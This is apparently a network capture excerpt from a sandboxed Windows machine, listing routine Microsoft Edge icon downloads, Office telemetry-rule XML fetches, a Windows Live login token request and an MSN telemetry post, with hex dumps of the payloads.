2024-11-27 15:34:53 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:52 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 1bbe3829-001e-0079-0e66-4012e8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T153452Z-174f7845968xlwnmhC1EWR0sv80000000wug00000000ss9m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 15:34:53 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.7	49866	13.107.246.40	443	3632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:53 UTC	422	OUT	GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-27 15:34:54 UTC	536	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:53 GMT Content-Type: image/png Content-Length: 2229 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:24 GMT ETag: 0x8DBD59359A9E77B x-ms-request-id: 91faf48f-601e-005e-307f-409b04000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241127T153453Z-174f7845968psccphC1EWRuz9s0000000x9g00000000n50q Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-27 15:34:54 UTC	2229	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 08 4a 49 44 41 54 78 01 ed 98 6d 88 5c 57 19 c7 9f e7 dc 7b 37 89 49 9a dd 6c 5e d6 96 c0 c4 36 a1 d5 2f 49 a1 92 22 ea 06 ac a4 41 21 05 41 2a e8 ee 16 a4 82 e0 26 62 a5 b5 92 99 f1 8b 2f 68 b3 fd 92 16 ad 64 fb 29 16 62 53 6d 68 17 15 b2 a2 ed 07 b1 6c a8 95 d6 97 74 36 a9 35 69 d2 90 dd 6d bb 9b 99 7b ce 79 fc 3f e7 dc d9 8d 99 24 b3 2f f9 d8 03 77 9e 7b ce dc b9 e7 77 ff cf cb 39 77 88 3e 6c 4b 6b 4c 37 a8 f5 ee 1d 2b a5 44 25 c2 47 9a d2 f8 c8 8f b6 8f d3 0d 68 4b 06 dc f1 8d df f7 ae cc ba cb 6c a8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaJIDATxm\W{7Il^6/I"A!A*&b/hd)bSmhlt65im{y?$/w{w9w>lKkL7+D%GhKl

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.7	49849	13.107.246.40	443	3632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:53 UTC	425	OUT	GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-27 15:34:54 UTC	543	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:53 GMT Content-Type: image/png Content-Length: 1154 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:30 GMT ETag: 0x8DBD5935D5B3965 x-ms-request-id: 19199b86-801e-001b-0191-404695000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241127T153453Z-174f78459688l8rvhC1EWRtzr000000009sg000000008ahk Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-27 15:34:54 UTC	1154	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 04 17 49 44 41 54 78 01 ed 97 cf 6f db 64 18 c7 bf 76 6a ea 34 69 e3 26 4b d4 b4 30 d2 f1 ab 4c 9a 96 c1 6e ed a1 30 0e 5c 10 4c b0 d3 0e ed 05 c1 05 35 3d ec 00 97 66 ff 41 72 43 02 a9 1a bb 70 03 c4 0d 6d 62 48 4c e2 f7 3a 0a 62 17 56 6b ab d6 aa cd 1a 37 4d 66 c7 89 fd ee 7d 9d 25 6b 1b 27 b1 1b 57 bd e4 23 39 f1 ef 7e fa 3c ef f3 bc 6f 80 1e 3d 8e 16 ce e9 8d c2 87 3f 24 4d 42 7e 04 88 04 2f e1 20 13 82 ac f9 e5 db 19 bb cb 3c 1c 62 10 73 d1 73 39 06 41 82 03 b7 80 d9 6f 6c df ed 38 82 13 5f 6f 10 b8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxodvj4i&K0Ln0\L5=fArCpmbHL:bVk7Mf}%k'W#9~<o=?$MB~/ <bss9Aol8_o

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.7	49865	20.190.177.82	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:53 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-27 15:34:53 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-27 15:34:54 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 27 Nov 2024 15:33:54 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C502_BL2 x-ms-request-id: 2eb4c1f6-894d-4590-8561-97bd5e3a1fb5 PPServer: PPV: 30 H: BL02EPF0001D7B4 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 27 Nov 2024 15:34:53 GMT Connection: close Content-Length: 11389
2024-11-27 15:34:54 UTC	11389	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.7	49867	13.107.246.40	443	3632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:54 UTC	431	OUT	GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-27 15:34:54 UTC	523	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:54 GMT Content-Type: image/png Content-Length: 1468 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:14 GMT ETag: 0x8DBDCB5E23DFC43 x-ms-request-id: 915fc15d-601e-0011-4de1-405f1c000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241127T153454Z-174f7845968zgtf6hC1EWRqd8s0000000q2000000000ess3 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-27 15:34:54 UTC	1468	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 51 49 44 41 54 78 01 ed 97 4b 6c 54 55 18 c7 ff e7 4e 19 62 da e0 b0 a1 01 03 5c 82 51 7c 52 16 1a 6d 6b 42 57 c4 c7 c2 2e 8c 26 24 46 62 44 17 26 b4 04 62 5c a0 ad 1a 63 dc c8 82 85 89 26 b4 09 68 89 1a a7 18 79 24 1a c6 05 75 41 02 17 19 23 46 03 13 10 4a 35 c8 50 fa 9a b9 f7 9c cf ef 3c ee 74 a6 96 76 da a6 2b e6 4b 4f ef cc b9 e7 9e ef 77 ff df e3 de 01 6a 56 b3 9a d5 ec ce 36 81 45 b6 cd 67 28 85 89 89 14 22 f8 20 e9 4b 0f 29 41 22 25 3c ac 85 42 8a a4 f2 a9 a8 52 8d e1 c5 d4 d5 70 75 3e 49 de a6 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaQIDATxKlTUNb\Q\|RmkBW.&$FbD&b\c&hy$uA#FJ5P<tv+KOwjV6Eg(" K)A"%<BRpu>I

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.7	49869	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:54 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 15:34:54 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:54 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 77f1aa82-301e-003f-6391-3f266f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T153454Z-174f7845968l4kp6hC1EWRe8840000000xc000000000c7mm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 15:34:54 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.7	49868	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:54 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 15:34:55 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:54 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: da27d7c4-b01e-005c-4391-3f4c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T153454Z-174f7845968l4kp6hC1EWRe8840000000xd0000000009dpn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 15:34:55 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.7	49870	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:54 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 15:34:55 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:55 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 48855d02-a01e-0053-3f66-408603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T153455Z-174f784596886s2bhC1EWR743w0000000x8g000000001gg1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 15:34:55 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.7	49871	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:54 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 15:34:55 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:55 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 4fa988ca-e01e-000c-2c91-3f8e36000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T153455Z-174f7845968pf68xhC1EWRr4h80000000xdg0000000086ht x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 15:34:55 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.7	49872	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:55 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 15:34:55 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:55 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 89e8b03d-001e-0065-5291-3f0b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T153455Z-174f78459685726chC1EWRsnbg0000000x2g00000000nw2w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 15:34:55 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.7	49873	104.208.16.90	443	3632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:55 UTC	1082	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732728792494&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 3780 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=1E3415CF46DC6CBF03A7008B47566DA7; _EDGE_S=F=1&SID=26375401AFD5621E074E4145AE73634F; _EDGE_V=1
